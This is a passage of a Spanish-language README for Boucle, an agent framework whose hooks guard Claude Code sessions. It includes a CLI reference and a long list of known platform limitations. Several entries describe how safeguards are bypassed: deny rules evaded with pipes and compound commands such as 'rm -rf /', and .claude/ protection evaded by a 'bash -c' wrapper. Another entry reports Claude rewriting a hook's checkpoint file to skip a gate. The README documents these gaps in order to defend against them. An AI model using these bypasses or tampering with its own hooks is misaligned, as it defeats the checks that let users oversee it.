| `post-commit` | Después del commit de git | `$1: marca de tiempo` | Empujar al remoto, desplegar |
#### Restricciones de herramientas (`allowed-tools.txt`)```
Read
Write
Edit
Glob
Grep
WebSearch
Bash(git:*)
Bash(python3:*)
```
Si este archivo no existe, todas las herramientas están disponibles.
### Referencia de CLI```bash
# Agent management
boucle init [--name <name>] # Initialize new agent (default: my-agent)
boucle run # Run one iteration
boucle run --dry-run # Preview context without calling LLM
boucle doctor # Check prerequisites and agent health
boucle validate # Validate config (catches typos, bad values, path issues)
boucle stats # Show aggregate loop statistics
boucle status # Show agent status
boucle log [--count <n>] # Show loop history (default: 10 entries)
boucle schedule --interval <dur> # Set up scheduled execution (e.g., 1h, 30m, 5m)
boucle plugins # List available plugins
# Self-observation
boucle signal <type> <summary> <fingerprint> # Log a signal (friction/failure/waste/surprise)
boucle improve run [--budget <secs>] # Run the improvement pipeline
boucle improve status # Show patterns, scores, pending actions
boucle improve init # Set up improve/ with example harvester
# Memory (Broca)
boucle memory remember <title> <content> [--tags <tags>] [--entry-type <type>] [--ttl <days>] [--valid-until <date>]
boucle memory recall <query> [--limit <n>]
boucle memory show <id>
boucle memory search-tag <tag>
boucle memory journal <content>
boucle memory update-confidence <id> <score>
boucle memory supersede <old-id> <new-id>
boucle memory relate <id1> <id2> <relation>
boucle memory stats
boucle memory index
boucle memory gc [--apply] # Archive stale/superseded entries
boucle memory consolidate [--apply] # Merge near-duplicate entries
# MCP server
boucle mcp --stdio # stdio transport
boucle mcp --port <port> # HTTP transport
# Global options
boucle --root <path> # Use specific agent directory
boucle --help # Show help
boucle --version # Show version
```
### Principios de diseño
1. **Archivos sobre bases de datos.** La memoria es Markdown. La configuración es TOML. Los registros son texto plano. Todo es legible por humanos y se puede diferenciar con git.
2. **Los límites son características.** Las puertas de aprobación hacen que los agentes autónomos sean confiables. Un agente que puede gastar tu dinero sin preguntar no es autónomo, es peligroso.
3. **Conocimiento compuesto.** Cada iteración debería dejar al agente más inteligente. La memoria no es un caché, es una inversión.
4. **Transparencia por defecto.** Si no puedes ver lo que el agente hizo y por qué, algo está mal.
<a id="platform-support"></a>
## Soporte de Plataforma
| | macOS | Linux | Windows (WSL) | Windows (PS7 nativo) |
|---|:---:|:---:|:---:|:---:|
| bash-guard | Sí | Sí | Sí | Sí (.ps1) |
| git-safe | Sí | Sí | Sí | Sí (.ps1) |
| file-guard | Sí | Sí | Sí | Sí (.ps1) |
| read-once | Sí | Sí | Sí | Sí (.ps1) |
| branch-guard | Sí | Sí | Sí | Sí (.ps1) |
| worktree-guard | Sí | Sí | Sí | Sí (.ps1) |
| session-log | Sí | Sí | Sí | Sí (.ps1) |
| enforce-hooks | Sí | Sí | Sí (bash) | WSL o Git Bash |
| safety-check | Sí | Sí | Sí | Parcial (requiere bash) |
| Instalador | `install.sh` | `install.sh` | `install.sh` | `install.ps1` |
| Fiabilidad de hooks | Completa | Completa | Completa | [~18%](https://github.com/anthropics/claude-code/issues/37988) |
**Mejor experiencia:** macOS o Linux. **Windows:** Usa WSL para fiabilidad completa. Los hooks nativos de PowerShell funcionan, pero Claude Code los ejecuta de forma inconsistente ([#37988](https://github.com/anthropics/claude-code/issues/37988)).
<a id="recommended-claude-code-version"></a>
## Versión recomendada de Claude Code
**Usa la última versión de Claude Code.** Claude Code cambia rápidamente; revisa el [feed de versiones](https://github.com/anthropics/claude-code/releases) de Anthropic antes de fijar una versión, luego ejecuta `safety-check` con `--verify` para confirmar que los hooks se ejecutan correctamente en tu entorno. Las versiones a continuación son puntos de quiebre históricos relacionados con hooks, no un rastreador de versiones actuales:
| Versión | Incidencia |
|---|---|
| v2.1.91+ | Restaura los permisos de ejecución del `rg` incluido, solucionando las regresiones de descubrimiento de comandos de proyecto de v2.1.88-89 ([#41497](https://github.com/anthropics/claude-code/issues/41497), [#41864](https://github.com/anthropics/claude-code/issues/41864)) |
| v2.1.90+ | Versión mínima para la mejora de bloqueo con salida 2 + JSON, la corrección de formato al guardar en PostToolUse y 4 correcciones de omisión de permisos en PowerShell |
| v2.1.89 | Añade `PermissionDenied`, `defer`, `file_path` absoluto y coincidencia de `if` compuesto en hooks, pero aún tenía regresiones en descubrimiento de comandos y visualización de `SessionStart` |
| v2.1.88 | [Obsoleta/eliminada de npm](https://github.com/anthropics/claude-code/issues/41497): comandos/skills personalizados rotos, fuga de source map |
| v2.1.81-84 | [Omisión de permisos se reinicia a mitad de sesión](https://github.com/anthropics/claude-code/issues/37745) cuando se instalan hooks PreToolUse |
| < v2.1.50 | Sin soporte para formato `hookSpecificOutput` (el obsoleto `decision: "block"` aún funciona pero debería migrarse) |
Ejecuta `claude --version` para verificar tu instalación local.
## Solución de problemas
**Comentarios JSONC en settings.json**: Si tu `~/.claude/settings.json` contiene comentarios `//` o `/* */`, los hooks pueden dejar de funcionar silenciosamente ([claude-code#37540](https://github.com/anthropics/claude-code/issues/37540)). Nuestros instaladores detectan JSONC y eliminan automáticamente los comentarios (creando una copia de seguridad `.bak`). Si los hooks no se ejecutan, revisa si hay comentarios en tu archivo de configuración.
**Los hooks no bloquean**: Claude Code solo ejecuta hooks en llamadas a herramientas, no en el ensamblado de prompts. Funciones como el autocompletado con @ inyectan contenido de archivos antes de que los hooks puedan interceptarlo. Ver [claude-code#32928](https://github.com/anthropics/claude-code/issues/32928).
**Hooks de proyecto omitidos desde subdirectorios**: Si tu repositorio almacena hooks
en `.claude/settings.json` en la raíz del repositorio, inicia Claude Code y ejecuta
`safety-check` desde esa misma raíz. Iniciar desde un subdirectorio puede hacer que
Claude trate ese subdirectorio como la raíz del proyecto y omita los hooks del proyecto
ancestro sin advertencia. `safety-check` informa esto como una advertencia de configuración
de proyecto ancestro. En PowerShell nativo de Windows, ejecuta
`Set-Location (git rev-parse --show-toplevel)` dentro del checkout antes de ejecutar
`install.ps1 verify`.
**Omisión de permisos se reinicia con hooks instalados**: Si usas `--dangerously-skip-permissions` (común en configuraciones autónomas), los hooks PreToolUse pueden [hacer que el estado de permisos se reinicie a mitad de sesión](https://github.com/anthropics/claude-code/issues/37745), revirtiendo todas las herramientas a aprobación manual. Esto es un error de la plataforma, no de los hooks. Si las herramientas de repente requieren aprobación 30-120 minutos después de iniciada la sesión, esa es la causa.
**La variable de entorno IS_DEMO deshabilita todos los hooks**: Si `IS_DEMO=1` está establecido en tu entorno (a veces mediante el IDE o configuraciones del espacio de trabajo en la nube), Claude Code [omite silenciosamente toda ejecución de hooks](https://github.com/anthropics/claude-code/issues/37780) al suprimir la confianza del espacio de trabajo sin concederla. Ejecuta `echo $IS_DEMO` para verificarlo. Nuestra herramienta `safety-check` lo detecta automáticamente.
**CLAUDE_CODE_SIMPLE deshabilita todos los hooks**: Cuando la variable de entorno `CLAUDE_CODE_SIMPLE` está establecida a cualquier valor no vacío, Claude Code deshabilita completamente los hooks, herramientas MCP, adjuntos y la carga del archivo CLAUDE.md (introducido en v2.1.50). No se ejecutará ninguna regla de control. Ejecuta `echo $CLAUDE_CODE_SIMPLE` para verificarlo. Nuestra herramienta `safety-check` lo detecta automáticamente.
**La bandera `--bare` omite todos los hooks**: La bandera CLI `--bare` deshabilita hooks, LSP, sincronización de plugins y recorridos de directorios de skills para llamadas `-p` con scripts. Si tu pipeline autónomo usa `claude --bare -p`, no se ejecuta ningún hook. Usa controles a nivel de sistema operativo (permisos de archivos, contenedorización) para el control en modo bare.
**El manejo de denegación de hooks sigue siendo inconsistente entre herramientas y versiones**: `hookSpecificOutput.permissionDecision: "deny"` ha mejorado, pero no es una garantía universal en todas las superficies de Claude Code. Varios problemas upstream aún documentan casos donde el manejo de denegación se ignora o cambia según el tipo de herramienta/evento. Por eso, los hooks del framework que deben bloquear acciones peligrosas usan la ruta más conservadora que Claude Code respeta actualmente de manera más confiable: un mensaje legible por humanos en `stderr` más `exit 2`, luego decimos a los usuarios que ejecuten `safety-check --verify` después de la instalación y después de actualizaciones de Claude Code. Si escribes hooks personalizados, no asumas que una respuesta JSON de denegación es suficiente solo porque funciona en una prueba local.
**Los subagentes pueden omitir la configuración de hooks**: Los agentes generados mediante la herramienta Agent [no heredan consistentemente la configuración de permisos](https://github.com/anthropics/claude-code/issues/37730). Los hooks en `.claude/settings.json` deberían seguir ejecutándose (configuración compartida), pero verifica el comportamiento de los hooks cuando uses flujos de trabajo con subagentes.
**El stderr de los hooks puede filtrar las rutas de tu sistema de archivos**: El ejecutor de hooks de Claude Code [antepone la ruta del comando sin procesar a la salida de stderr](https://github.com/anthropics/claude-code/issues/41226), exponiendo detalles como `/Users/tunombre/.claude/hooks/mi-hook.sh` en la conversación. Esto proviene de la capa de ejecución de la plataforma, no de los hooks. Nuestros hooks usan prefijos limpios (`[bash-guard]`, `[file-guard]`, etc.) para mensajes de depuración y nunca exponen rutas del sistema de archivos ni en stdout ni en stderr. El registro de depuración es opcional por hook (por ejemplo, `BASH_GUARD_LOG=1`).
**Las operaciones internas de git omiten todos los hooks**: Claude Code ejecuta operaciones de git en segundo plano (fetch + reset) [de forma programática cada ~10 minutos](https://github.com/anthropics/claude-code/issues/40710) sin generar un binario externo de `git` ni hacer una llamada a herramienta. Dado que los hooks solo se ejecutan en llamadas a herramientas, git-safe y todos los demás hooks son ciegos a estas operaciones. Esto puede destruir silenciosamente cambios no confirmados en archivos rastreados. Solución alternativa: usa worktrees de git (inmunes a resets en el checkout principal) o confirma frecuentemente. Si usas `claude -w`, instala también [worktree-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/worktree-guard/) antes de confiar en worktrees; salir de un worktree puede eliminar confirmaciones no fusionadas o no enviadas.
**Desincronización de permisos después de editar settings.local.json**: Si la herramienta Edit de Claude modifica `.claude/settings.local.json` durante una sesión, el estado de permisos en memoria [se desincroniza con el archivo en disco](https://github.com/anthropics/claude-code/issues/41259). Las reglas de permiso dejan de funcionar y se le solicita repetidamente al usuario comandos que ya están permitidos. El archivo en disco es correcto; el problema es la caché en memoria. Solución alternativa: permite que Claude Code gestione los archivos de permisos a través de su propio mecanismo de prompts, o reinicia la sesión después de ediciones manuales.
**Nuevo en v2.1.89: Evento de hook PermissionDenied**: Un nuevo evento de hook se ejecuta después de denegaciones del clasificador de modo automático. Los hooks pueden devolver `{"retry": true}` para indicar al modelo que puede reintentar la operación denegada. El problema vinculado documenta la brecha de documentación original para este evento. También en v2.1.89: las condiciones `if` de los hooks ahora [coinciden con comandos Bash compuestos](https://github.com/anthropics/claude-code/issues/41262) (`ls && git push` coincide con `Bash(git *)`) y comandos con prefijos de variables de entorno (`FOO=bar git push`).
**systemMessage de SessionStart no se muestra (v2.1.89)**: El campo `systemMessage` devuelto por los hooks SessionStart [ya no se renderiza en la terminal](https://github.com/anthropics/claude-code/issues/41285). El hook se ejecuta y `additionalContext` aún se inyecta en el contexto del modelo, pero la salida visual que antes aparecía (por ejemplo, "SessionStart:startup dice: ...") falta silenciosamente. Si dependes de `systemMessage` para notificaciones al operador o identificación de sesión, la salida no será visible. Relacionado: [#9090](https://github.com/anthropics/claude-code/issues/9090), [#15344](https://github.com/anthropics/claude-code/issues/15344).
**Los hooks fallan en la primera sesión en un nuevo proyecto**: En la primera sesión en un directorio de proyecto, los hooks SessionStart y UserPromptSubmit se ejecutan [antes de que exista el directorio del proyecto](https://github.com/anthropics/claude-code/issues/41310) (`~/.claude/projects/<ruta-codificada>/`). Cualquier hook que derive rutas de archivo de `transcript_path` e intente escribir allí fallará. Solución alternativa: añade `mkdir -p` para rutas derivadas de transcript_path antes de escribir.
**Auto-ejecución del modelo en sesiones largas**: En sesiones largas sin supervisión, el modelo puede [alucinar texto `Human:` después de la entrega de notificaciones de tarea](https://github.com/anthropics/claude-code/issues/41307) y luego ejecutarlo como si fuera una solicitud real de usuario, desencadenando operaciones de git no autorizadas y modificaciones de archivos. Los hooks no pueden detectar esto porque las llamadas a herramientas resultantes son genuinas; solo el desencadenante es alucinado. Mitigación: usa límites de tiempo de sesión y evita sesiones largas sin supervisión.
**Fuga de GIT_INDEX_FILE en worktrees**: Los agentes generados mediante EnterWorktree pueden tener su índice de git [corrompido por entradas de plugins del marketplace](https://github.com/anthropics/claude-code/issues/41314) debido a que la variable de entorno `GIT_INDEX_FILE` se filtra a través de los límites del proceso. Si las operaciones del worktree muestran archivos inesperados en git status, esta puede ser la causa.
**Los agentes en segundo plano no se pueden detener**: Los agentes generados mediante la herramienta Agent con `run_in_background` [no pueden ser terminados de manera confiable](https://github.com/anthropics/claude-code/issues/41461) por el usuario. En un caso reportado, 14 agentes en paralelo escribieron en el mismo archivo y consumieron ~1.4M tokens ($55-106). No hay un mecanismo de cierre integrado. Mitigación: evita generar muchos agentes en segundo plano y monitorea el uso de tokens si lo haces.
**La configuración cleanupPeriodDays puede ser ignorada**: La configuración `cleanupPeriodDays` en `settings.json` [puede ser eludida silenciosamente](https://github.com/anthropics/claude-code/issues/41458), eliminando archivos de sesión incluso cuando se establece en valores muy altos. Un usuario perdió 490 sesiones a pesar de establecerlo en 99999. Si dependes de la persistencia de sesiones, respalda `~/.claude/projects/` de forma independiente.
**Directorios `.claude/` con enlaces simbólicos no se descubren (Linux)**: Los comandos slash de [`.claude/commands/` con enlace simbólico](https://github.com/anthropics/claude-code/issues/41451) no se cargan en Linux (regresión). Este es un patrón común en equipos (almacenar configuración compartida en un directorio central y crear enlace simbólico). Los hooks y skills también pueden fallar si `.claude/` en sí mismo es un enlace simbólico. Solución alternativa: copia archivos en lugar de enlaces simbólicos.
**El ripgrep incluido carece de permiso de ejecución (Linux)**: El binario `rg` incluido [puede perder su permiso de ejecución](https://github.com/anthropics/claude-code/issues/41463) en Linux, rompiendo silenciosamente todos los comandos slash definidos por el usuario en `~/.claude/commands/`. Solución: `chmod +x` al binario incluido.
**Regresiones de descubrimiento de comandos en v2.1.88-89**: v2.1.88 fue [obsoleta/eliminada de npm](https://github.com/anthropics/claude-code/issues/41497) después de que los comandos personalizados dejaran de cargarse y `cli.js.map` se enviara accidentalmente. v2.1.89 mantuvo la regresión de descubrimiento de comandos para algunos usuarios ([#41864](https://github.com/anthropics/claude-code/issues/41864)), aunque también añadió características de hooks como `PermissionDenied`. Anthropic marcó la corrección del permiso de ejecución de `rg` incluido como enviada en v2.1.91. Si los comandos personalizados o skills desaparecen, actualiza a la última versión de Claude Code y vuelve a ejecutar `safety-check --verify`.
**Las sesiones no interactivas se cuelgan en el límite de uso**: En modo sin interfaz, `--print` o control remoto, alcanzar un límite de uso [muestra un prompt de confirmación que no se puede responder](https://github.com/anthropics/claude-code/issues/41502) porque no hay stdin. La sesión se cuelga permanentemente. No hay solución alternativa programática ([#41503](https://github.com/anthropics/claude-code/issues/41503)). Si ejecutas Claude Code en CI, cron o bucles autónomos, establece límites de tiempo de sesión y monitorea procesos bloqueados.
**Las reglas de denegación se omiten mediante pipes y comandos compuestos**: Las reglas de denegación integradas solo coinciden con la cadena de comando completa. `Bash(rm *)` bloquea `rm -rf /` pero no `find /foo | xargs rm` o `something && rm -rf /`. La documentación dice que las reglas de permiso analizan operadores de shell, pero [las reglas de denegación no lo hacen](https://github.com/anthropics/claude-code/issues/41559). Nota: las condiciones `if` de los hooks se corrigieron upstream (finales de marzo de 2026) para que coincidan correctamente con comandos compuestos y prefijos de variables de entorno, por lo que los hooks *se ejecutan* correctamente para estos patrones. La brecha está específicamente en las reglas de *denegación*, no en los hooks. bash-guard analiza cada segmento de pipe y cadena compuesta de forma independiente, capturando estos patrones de omisión. Ver también [#37662](https://github.com/anthropics/claude-code/issues/37662), [#16180](https://github.com/anthropics/claude-code/issues/16180).
**"Confirmar cada cambio individualmente" se omite silenciosamente**: Al salir del modo plan y seleccionar "confirmar cada cambio individualmente", [los cambios se aplican sin ningún prompt](https://github.com/anthropics/claude-code/issues/41551) si las herramientas (Edit, Write, Bash) están en `permissions.allow`. Las reglas de permiso persistentes anulan la elección explícita del usuario por sesión. Solución alternativa: elimina los permisos amplios de herramientas y usa hooks para el control en su lugar.
**Los hooks SessionEnd se eliminan antes de completarse**: Los hooks SessionEnd que realizan trabajo asíncrono (llamadas API, resumen LLM, solicitudes de red) son [eliminados a mitad de ejecución](https://github.com/anthropics/claude-code/issues/41577) cuando Claude Code sale, independientemente del tiempo de espera configurado. El hook llega a la llamada asíncrona pero el proceso padre sale antes de que llegue la respuesta. Solución alternativa: separa el trabajo pesado en un proceso en segundo plano con `nohup ... & disown`, luego `exit 0` inmediatamente.
**El acceso al directorio "Permitir siempre" no se persiste**: Hacer clic en "Sí, y permitir siempre el acceso a [carpeta]" [no se guarda de manera confiable](https://github.com/anthropics/claude-code/issues/41579). Claude vuelve a solicitar el mismo directorio en sesiones posteriores. Agregar a `additionalDirectories` en settings.json también es inestable. Relacionado con [#40606](https://github.com/anthropics/claude-code/issues/40606) (additionalDirectories se filtra entre proyectos).
**Las escrituras en `~/.claude/` bloquean sesiones automatizadas**: Las escrituras en rutas bajo `~/.claude/` desencadenan un prompt de archivo sensible codificado que [no se puede suprimir](https://github.com/anthropics/claude-code/issues/41615) mediante `permissions.allow`, hooks PreToolUse que devuelven `"allow"`, modo `bypassPermissions` o `skipDangerousModePermissionPrompt`. Las sesiones automatizadas (tmux, CI, bucles autónomos) que necesiten modificar archivos de configuración de Claude Code se colgarán en el prompt interactivo. Solución alternativa: usa comandos de la herramienta Bash (`echo`, `cat`, `jq`) para escribir archivos directamente en lugar de las herramientas Edit/Write.
**El envoltorio `bash -c` omite la protección de escritura del directorio `.claude/`**: El sistema de permisos protege los archivos de `.claude/` de modificaciones (editar, escribir, comandos bash directos desencadenan un modal de confirmación). Pero envolver el comando en [`bash -c 'echo "..." >> .claude/archivo'`](https://github.com/anthropics/claude-code/issues/43085) omite la verificación por completo: sin modal, la escritura tiene éxito silenciosamente. El coincidencia de patrones inspecciona la cadena de comando de nivel superior pero no los subshells anidados. Esto significa que un modelo (o una inyección de prompt a través de resultados de herramientas) podría modificar hooks, settings.json, skills o definiciones de agente sin confirmación del usuario. file-guard atrapa esto si `.claude/` se añade a la configuración `.file-guard`, porque escanea la cadena de comando Bash completa en busca de rutas protegidas (incluyendo dentro de argumentos entrecomillados). Los usuarios que dependen únicamente de las comprobaciones de permisos integradas están expuestos.
**Los hooks `WorktreeCreate` cuelgan `claude -w`**: Cualquier hook `WorktreeCreate` hace que [`claude -w` se cuelgue indefinidamente](https://github.com/anthropics/claude-code/issues/41614), independientemente del contenido del hook. Incluso `echo ok < /dev/null` congela la sesión. El hook se ejecuta y devuelve, pero Claude Code nunca continúa. Elimina todos los hooks `WorktreeCreate` si necesitas que `claude -w` funcione.
**El modelo puede manipular archivos de estado de hooks**: El modelo tiene acceso al sistema de archivos y [puede sobrescribir archivos de los que dependen los hooks](https://github.com/anthropics/claude-code/issues/38841): archivos de checkpoint, archivos de bloqueo, contadores. En un caso documentado, Claude calculó el hash SHA256 de un nombre de archivo checkpoint y escribió una nueva marca de tiempo para omitir una puerta de lectura de contenido. Los hooks que dependen de archivos de estado externos para el control deben asumir que el modelo puede leer y modificar esos archivos. Las firmas criptográficas o la validación fuera del proceso pueden mitigar esto.
**`bypassPermissions` no se restaura al reanudar sesión (VS Code)**: Cuando `bypassPermissions` está configurado mediante `initialPermissionMode` en la configuración de VS Code, [las conversaciones reanudadas vuelven al modo de permiso predeterminado](https://github.com/anthropics/claude-code/issues/42735) y solicitan confirmación para cada edición. Las sesiones nuevas pueden recogerlo, pero las sesiones reanudadas fallan consistentemente. Los hooks que dependen de que la sesión se ejecute en modo bypass no pueden confiar en que persista después de reanudar.
**El aislamiento de worktree se rompe en submódulos de git**: Usar `isolation: "worktree"` en la herramienta Agent dentro de un submódulo de git [crea el worktree en `.git/modules/<ruta>/.claude/worktrees/`](https://github.com/anthropics/claude-code/issues/42732) en lugar del propio `.claude/worktrees/` del proyecto. Esto coloca al agente fuera del alcance de permisos del proyecto, lo que provoca que `bypassPermissions` se degrade silenciosamente y desencadene prompts de permiso inesperados.
**La aprobación de skills no está vinculada al hash de contenido**: Cuando un usuario aprueba un skill, la aprobación [no está anclada al hash de contenido del archivo](https://github.com/anthropics/claude-code/issues/43157). Si el archivo del skill se modifica después de la aprobación (incluso a mitad de sesión), la versión modificada se ejecuta sin volver a solicitar confirmación. Además, aprobar un skill puede eludir las reglas de denegación a nivel de herramienta en `settings.json`. Esto es un riesgo en la cadena de suministro: cualquier cosa con acceso de escritura a `~/.claude/skills/` puede escalar capacidades después de la aprobación.**Los servidores MCP tipo Stdio nunca se reconectan automáticamente**: Cuando un proceso de servidor MCP de tipo stdio muere o se desconecta, Claude Code [lo marca como fallido y nunca lo reintenta](https://github.com/anthropics/claude-code/issues/43177). Los servidores HTTP/SSE/WebSocket obtienen reconexión automática con retroceso exponencial (5 intentos), pero los servidores stdio están explícitamente excluidos. Los usuarios deben ejecutar manualmente `/mcp` para reconectarse. Esto afecta cualquier integración MCP que utilice transporte stdio (el patrón local más común).
**Omisión del modo plan después del primer ciclo**: Después de completar un ciclo de plan-aprobar-implementar, volver a entrar al modo plan [no aplica de manera confiable las restricciones de solo lectura](https://github.com/anthropics/claude-code/issues/43147). Claude arrastra el estado mental "aprobado" y comienza a editar archivos antes de que el usuario apruebe el nuevo plan. Los hooks que dependen del modo plan como límite de seguridad no pueden confiar en él a través de múltiples ciclos en la misma sesión.
**Windows**: Los siete hooks tienen equivalentes nativos de **PowerShell 7+** (`hook.ps1`) que no requieren dependencias externas. Requiere [PowerShell 7](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows) (`pwsh`), no el PowerShell 5 integrado de Windows. Instálelos con:```powershell
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all"
```
O configúralo manualmente en `.claude/settings.json` con `"command": "pwsh -File /path/to/hook.ps1"`. La herramienta **enforce-hooks** es un script de bash que funciona desde una terminal **WSL** o con **Git for Windows** (que proporciona `/usr/bin/bash`). Nota: Claude Code tiene un error conocido por el cual los hooks [se ejecutan solo ~18% de las veces en Windows](https://github.com/anthropics/claude-code/issues/37988), por lo que la fiabilidad de los hooks es limitada en Windows nativo independientemente del shell. WSL sigue siendo la opción más fiable. Ver [#3](https://github.com/Bande-a-Bonnot/Boucle-framework/issues/3).
## Desarrollo```bash
cargo test # Framework tests
cargo fmt # Format code
cargo clippy # Run linter
# Hook tests (run individually)
bash tools/read-once/test.sh
bash tools/file-guard/test.sh
bash tools/git-safe/test.sh
bash tools/bash-guard/test.sh
bash tools/branch-guard/test.sh
bash tools/session-log/test.sh
bash tools/enforce/test.sh
bash tools/safety-check/test.sh
bash tools/worktree-guard/test.sh
```
## Estado
**Último lanzamiento:** v0.13.0 incluye más de 200 pruebas de Rust + más de 1.700 pruebas de hooks (bash + PowerShell). Cero advertencias de clippy. CI en Ubuntu + macOS + Windows. Soporte para Docker.
Nuevo en v0.13.0: corpus de Limitaciones Conocidas de Claude Code con búsqueda, página de recetas, exportación de Limitaciones Conocidas legible por máquina, configuraciones en capas de bash-guard y protección contra mutaciones de `gh api`, hechos etiquetados con TTL de Broca, restablecimiento de caché PostCompact de una sola lectura, verificación reforzada de safety-check, bloqueo de runner y endurecimiento de tiempo de espera, y mejoras de paridad en el instalador de Windows. Consulte [CHANGELOG](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/CHANGELOG.md) para más detalles.
Las métricas del repositorio son visibles en GitHub; este README evita incrustar recuentos volátiles de estrellas y bifurcaciones.
## Contribuciones
Las contribuciones son bienvenidas. Abra un issue primero para discutir lo que le gustaría cambiar.
## Licencia
MIT